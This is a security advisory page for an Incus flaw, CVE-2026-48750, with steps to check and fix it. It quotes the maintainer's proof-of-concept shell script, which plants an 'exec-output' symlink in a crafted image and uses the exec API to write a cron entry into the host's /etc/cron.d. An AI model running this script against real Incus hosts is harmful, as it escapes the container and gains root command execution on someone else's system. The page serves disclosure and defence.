---
id: "CVE-2026-48750"
page: "https://infrastack.ai/live/CVE-2026-48750"
kind: "vulnerability"
aliases: ["CVE-2026-48750", "GHSA-73hr-m85f-64v9"]
title: "Incus has an arbitrary file write on host via `exec-output` symlink in crafted image"
severity: "critical"
cvss: 9.9
epss: 0.00731
exploited: false
status: "open"
category: "runtime"
products: [{"name": "github.com/lxc/incus/v7/cmd/incusd", "fixed": ["7.2.0"], "affected": "< 7.2.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-73", "go", "incus", "linux-containers", "runtime", "self-hosted"]
not_affected_if: ["incusd-at-or-above-7.2.0", "no-exec-access", "only-trusted-images"]
published_at: "2026-06-26T18:32:52+00:00"
first_seen_at: "2026-11-05T22:00:52+00:00"
updated_at: "2026-11-05T22:02:26+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-73hr-m85f-64v9", "first_seen_at": "2026-11-05T22:00:52+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48750", "first_seen_at": "2026-11-05T22:16:00+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00731, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-48750"}]
---

# Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

Link for people: https://infrastack.ai/live/CVE-2026-48750 (this .md is for agents)

Incus extracts a symlink named exec-output from an unpacked image as-is, so the exec record-output feature writes its stdout and stderr files to an attacker-chosen host directory. The advisory's proof of concept places a file in /etc/cron.d, which can lead to command execution on the host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/lxc/incus/v7/cmd/incusd affected < 7.2.0 fixed 7.2.0

## How to check

- Run `incusd --version` on the host and compare with the fixed version below.
- Look for symlinks named `exec-output` in instance directories and in images you import.
- Review who can call the instance exec endpoint with `record-output`.

## Fix

- Upgrade the Go module `github.com/lxc/incus/v7` (incusd) to `7.2.0` or later.

## Timeline

- 2026-11-05T22:00:52+00:00 ghsa https://github.com/advisories/GHSA-73hr-m85f-64v9
- 2026-11-05T22:16:00+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-48750

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/lxc/incus/security-advisories/GHSA-73hr-m85f-64v9
- [advisory] Maintainer's advisory: github.com https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9

## From the sources

### Summary

The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution.


### Details

When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink.


### PoC

Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on
the host for arbitrary command execution.

```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;
```

### Impact

Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
